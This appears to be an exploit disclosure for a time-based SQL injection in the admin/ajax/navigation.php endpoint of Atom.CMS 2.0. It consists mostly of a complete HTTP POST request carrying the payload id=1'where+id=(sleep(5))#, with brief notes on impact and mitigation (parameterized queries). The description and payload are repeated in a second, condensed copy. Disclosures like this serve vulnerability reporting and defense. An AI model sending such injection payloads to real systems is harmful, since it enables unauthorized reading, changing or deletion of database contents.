Description:
SQL Injection allows an attacker to run malicious SQL statements on a database and thus being able to read or modify the data in the database. With enough privileges assigned to the database user, it can allow the attacker to delete tables or drop databases.
Code Analysis:
POST /admin/ajax/navigation.php HTTP/1.1
Host: test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://test.test/admin/index.php?page=settings
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
id=1'where+id=(sleep(5))#
payload:id=1'where+id=(sleep(5))#
admin/ajax/navigation.php
Impact: Read and modify the users database
Mitigation: Use of Parameterized SQL Queries and Validation
Exploit Title: SQL Injection vulnerability on Atom.CMS_admin_ajax_navigation.php Date: 21-March-2022 Exploit Author: @Limerence Software Link: https://github.com/thedigicraft/Atom.CMS Version: AtomCMS 2.0
Description: SQL Injection allows an attacker to run malicious SQL statements on a database and thus being able to read or modify the data in the database. With enough privileges assigned to the database user, it can allow the attacker to delete tables or drop databases.
Code Analysis:
payload:id=1'where+id=(sleep(5))#
admin/ajax/navigation.php
Impact: Read and modify the users database Mitigation: Use of Parameterized SQL Queries and Validation